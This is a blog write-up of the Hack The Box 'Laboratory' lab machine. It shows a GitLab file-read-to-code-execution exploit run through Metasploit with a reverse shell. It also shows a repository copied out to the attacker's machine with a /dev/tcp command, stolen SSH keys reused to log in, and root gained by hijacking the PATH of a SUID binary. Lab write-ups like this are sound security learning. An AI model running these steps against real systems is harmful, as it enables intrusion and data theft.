Hack The Box — Laboratory Writeup

Fahmi J
6 min readApr 18, 2021

Laboratory is an easy difficulty Linux box that features an instance of GitLab application in a docker container. The application is known to be vulnerable to Arbitrary File Read that can be leveraged to read the application’s secret, allowing an attacker to craft his own malicious cookie and perform a de-serialization attack to gain a foothold on the container. Enumerating inside the container finds a private user repository that contains a pair of SSH keys. The keys allows me to logs into the machine. There is an SUID binary that calls chmod with relative path, making it vulnerable to path hijacking.

All my HTB raw notes are available at my GitHub.

Reconnaissance

Nmap

Initial scan with nmap shows 3 ports open, they are SSH on port 22, HTTP on port 80, and HTTPS on port 443.

nmap -sC -sV -oA scans/10-initial-laboratory 10.10.10.216

From the scan above, visiting port 80 will be redirected to https://laboratory.htb.

On the HTTPS port, the SSL cert discloses a hostname of git.laboratory.htb.

From here, I’ll add laboratory.htb and git.laboratory.htb as well to my /etc/hosts file.

echo '10.10.10.216 laboratory.htb git.laboratory.htb' > /etc/hosts

Enumeration

TCP 80 — laboratory.htb

There is nothing really interesting here.

TCP 443 — git.laboratory.htb

A GitLab instance is presented on this page.

I tried to register an account, but GitLab rejected it by saying the email domain was not authorized.

I changed my email to iamf@laboratory.htb and it worked.

The first thing I do is to check the GitLab version. It is available on the “Help” section and the current version is 12.8.1.

I found another user on this website named Dexter McPherson. This user has a project called SecureWebsite

:: searchsploit

searchsploit shows several exploits for GitLab. One that stands out is an arbitrary file read vulnerability on version 12.9.0 which might work as well on version 12.8.1

searchsploit gitlab

Foothold

Arbitrary File Read (CVE-2020–10977)

The arbitrary file read is classified as CVE-2020–10977. The report can be found at Hackerone. The researcher also shows how that vulnerability can be turned into a remote code execution.

I’ll be using this neat exploit PoC written in Python to exploit this vulnerability.

python3 cve_2020_10977.py https://git.laboratory.htb/ iamf iamfiamf

Arbitrary File Read → RCE

To turns this arbitrary file read vulnerability into a remote code execution, I’ll need to setup my own GitLab instance with the same version as the one on Laboratory. Then I’ll have to replace my GitLab secret_key_base with the one on Laboratory (located on /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml).

Fortunately, there is a Metasploit module to perform this automatically, and I’ll use that.

First, I’ll have to grab the module from GitHub and put it into /usr/share/metasploit-framework/modules/exploits/multi/http.

→ root@iamf «laboratory» «10.10.14.39»
$ cd /usr/share/metasploit-framework/modules/exploits/multi/http && wget https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/multi/http/gitlab_file_read_rce.rb

After that I’ll re-initialize the metasploit database using msfdb.

msfdb reinit

Now on metasploit, I can use the module by issuing the command below:

msf6 > use exploit/multi/http/gitlab_file_read_rce
[*] No payload configured, defaulting to generic/shell_reverse_tcp

And here are the required options.

set USERNAME iamf
set PASSWORD iamfiamf
set RHOSTS 10.10.10.216
set RPORT 443
set SSL true
set VHOST git.laboratory.htb
set LHOST tun0
set LPORT 9001

After all the required options are set, I’ll start the exploit with the run command. I have shell as user git.

There is a .dockerenv file in the root directory. This indicates that I'm inside a docker container.

Privilege Escalation

Container enumeration

Enumerating the git home directory (/var/opt/gitlab) discovers two repositories that belongs to user dexter.

git@git:~$ grep -Ri dexter 2>/dev/null

I haven’t seen that dexter/securedocker before in the GitLab application. So I'll grab that repository and transfer it to my machine

First, I’ll create a tar ball archive of that repository and I’ll name it as exfil-securedocker-git.tar.

git@git:~/git-data/repositories/@hashed/19/58/$ tar -czf /tmp/exfil-securedocker-git.tar 19581e27de7ced00ff1ce50b2047e7a567c76b1cbaebabe5ef03f7c3017bb5b7.git

On my machine, I’ll setup listener

nc -nvlp 9000 > exfil-securedocker-git.tar

Back on Laboratory, I’ll send the tarball to my machine using cat and bash trick

git@git:~/git-data/repositories/@hashed/19/58/$ cat /tmp/exfil-securedocker-git.tar > /dev/tcp/10.10.14.39/9000

My listener received the tarball.

Recover “securedocker” Repository

After extracting the repository, I saw git:(master) pop up in my zsh prompt which indicates this is a git repository.

But, when I try to read the repository status, it returns an error message.

I’ve renamed 19581e27de7ced00ff1ce50b2047e7a567c76b1cbaebabe5ef03f7c3017bb5b7.git to secure-docker.git.

This problem can be resolved by creating a new .git folder within secure-docker.git and transferring all the files from secure-docker.git to the newly created .git. Finally, use the git init command to re-initialize the git repository.

Interestingly, this repository contains a set of SSH keys.

SSH — dexter

I can restore the deleted files using git checkout -- command.

I can now login as dexter using the SSH key I obtained.

At first try, it says the key is invalid format, and I fixed that by adding an empty string using the echo command

Now it logs me in.

Internal Enumeration

The contents of todo.txt talks something about “docker security”, but I have no idea what it is except it uses three hashtags.

→ root@iamf «secure-docker.git» «10.10.14.39» git:(master) ✗
$ cat dexter/todo.txt
# DONE: Secure docker for regular users
### DONE: Automate docker security on startup
# TODO: Look into "docker compose"
# TODO: Permanently ban DeeDee from lab#

It turns out it’s a binary name which has a SUID bit set found by linpeas.

Inspecting the binary with the ltrace command reveals that it uses relative path to call chmod.

dexter@laboratory:~$ ltrace docker-security

Knowing this, I could hijack the execution path.

SUID — Path Hijack

First, I’ll create a fake chmod that calls bash binary at /dev/shm, I'll also add an execute permission on that file.

Next, I’ll add current directory (/dev/shm) to $PATH variable and now if I call chmod, it will point to my chmod on /dev/shm.

From there, I can just execute docker-security to obtain a root access as well as the root flag.

--

--

Fahmi J

Just curious to learn how things work, especially in digital world.